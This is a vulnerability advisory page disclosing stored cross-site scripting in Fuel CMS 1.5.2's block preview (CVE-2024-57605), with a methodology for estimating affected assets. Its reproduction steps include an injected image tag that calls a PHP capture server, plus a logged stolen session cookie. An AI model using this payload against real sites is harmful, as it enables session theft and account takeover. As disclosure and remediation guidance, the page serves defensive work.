DELTA OBSCURA

We are the team behind Mission Cyber Sentinel, a mission dedicated to securing 446,000 digital assets globally.

Our Partners

Fuel CMS - v1.5.2 - Cross-Site Scripting

By 0xhamy 03:17 AM - September 29th 2025
Type software
Product Environment -
Product Name Fuel CMS
Product Vendor Daylight Studio
Product Version 1.5.2
Product Link https://github.com/daylightstudio/FUEL-CMS
Vulnerability Name Cross-Site Scripting
Severity High
CVSS String
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L
CVSS Score 7.3
CVE ID CVE-2024-57605
Vendor Acknowledgement No
Affected digital Assets
1000
Affected Users
10000
Date of Reporting Jan 08, 2025
PoC Exploit https://gist.github.com/0xHamy/b2674eeffd1f73af96d29f152c47bcbd
Credit 0xhamy

Description

Fuel CMS 1.5.2’s editor preview feature executes user-supplied HTML when a block/post is previewed. An attacker who can create or edit a block (or trick an editor to save content) can embed malicious HTML that runs during the preview, enabling XSS-based impacts such as session theft, account takeover, or unauthorized actions.

Reproduce

  1. Save the provided PHP capture script locally as capture.php:
    https://gist.github.com/0xHamy/b2674eeffd1f73af96d29f152c47bcbd

  2. Start a local PHP server to serve that file:

    php -S 0.0.0.0:1718

  3. Log into FuelCMS and navigate to Blocks:
    http://127.0.0.1/fuelcms/fuel/blocks

  4. Create a block (or edit an existing one), then open the edit view for the block, e.g.:
    http://127.0.0.1/fuelcms/fuel/blocks/edit/1

  5. In the block’s large textarea (the view field), insert the payload and save:

    <img src='http://127.0.0.1:1718/capture.php' alt='dune'>

  6. Click the Preview button for the block. Your PHP server will show incoming connections confirming the preview rendered the injected HTML, e.g.:

    [Wed Jan  8 10:09:20 2025] 127.0.0.1:53440 Accepted
[Wed Jan  8 10:09:20 2025] 127.0.0.1:53440 [200]: GET /capture.php
[Wed Jan  8 10:09:20 2025] 127.0.0.1:53440 Closing

  7. Inspect cookie_log.txt on the PHP server to see captured cookies (from the original test):

    [2025-01-08 15:09:20] Cookies: _ga_90PNJH7CQ5=GS1.1.1735826854.1.1.1735826858.0.0.0; _ga=GA1.1.305814098.1735826855; ci_session=r0qirem7e4s1ascfhp4v60a82i02vlnr

Recommendation

  • Sanitize and/or encode content before rendering previews. If HTML must be allowed, use a robust server-side sanitizer (e.g., HTMLPurifier) with a strict whitelist.
  • Render previews in an isolated, sandboxed context (e.g., sandboxed <iframe>) and apply a strict Content Security Policy that disallows inline scripts and restricts external resources.
  • Ensure authentication cookies are HttpOnly, Secure, and set an appropriate SameSite attribute to reduce theft risk via injected content.
  • Restrict who can create/edit HTML blocks (apply least privilege) and require additional review/approval for content that includes HTML.
  • Add logging and monitoring for suspicious content submissions and preview-triggered external requests.
  • Add automated tests that ensure previewed content is sanitized and that known XSS payloads are neutralized.

How we calculate affected digital assets

Methodology

Digital assets affected by a piece of software or hardware can include installations and real-world usage of that product across servers, websites, IoT devices, and other connected systems.

Data sources we use

  • For many web technologies, we use BuiltWith to estimate how many websites currently use a given product. Example: Vvveb usage statistics on BuiltWith .
  • For products that include telemetry or licensing beacons, we may rely on vendor-reported deployment figures to estimate the number of active installations.

Example: a vendor might share that their firewall product is deployed across a certain number of customer networks or appliances (similar to how a vendor such as NetSweeper reports its deployment footprint). We use those deployment counts as a proxy for affected digital assets.

How we estimate affected users

Estimation

The affected users value is an estimate of how many people are likely exposed to the vulnerability through the impacted assets.

Inputs we consider

  • Vendor data: when available, we use user or deployment counts provided by the vendor (for example, via telemetry, analytics, or licensing systems).
  • Asset-based estimate: when vendor data is not available, we use a conservative baseline of 100 users per asset and multiply it by the number of affected assets.

Example calculation

Suppose a vulnerability affects:

  • 20 IoT devices
  • 40 servers
  • 40 websites

Total affected assets: 20 + 40 + 40 = 100
Using our conservative baseline of 100 users per asset:

Estimated affected users: 100 assets × 100 users = 10,000 users

This approach intentionally aims to be conservative; it gives us a consistent way to compare impact across vulnerabilities and understand the approximate number of users we help protect.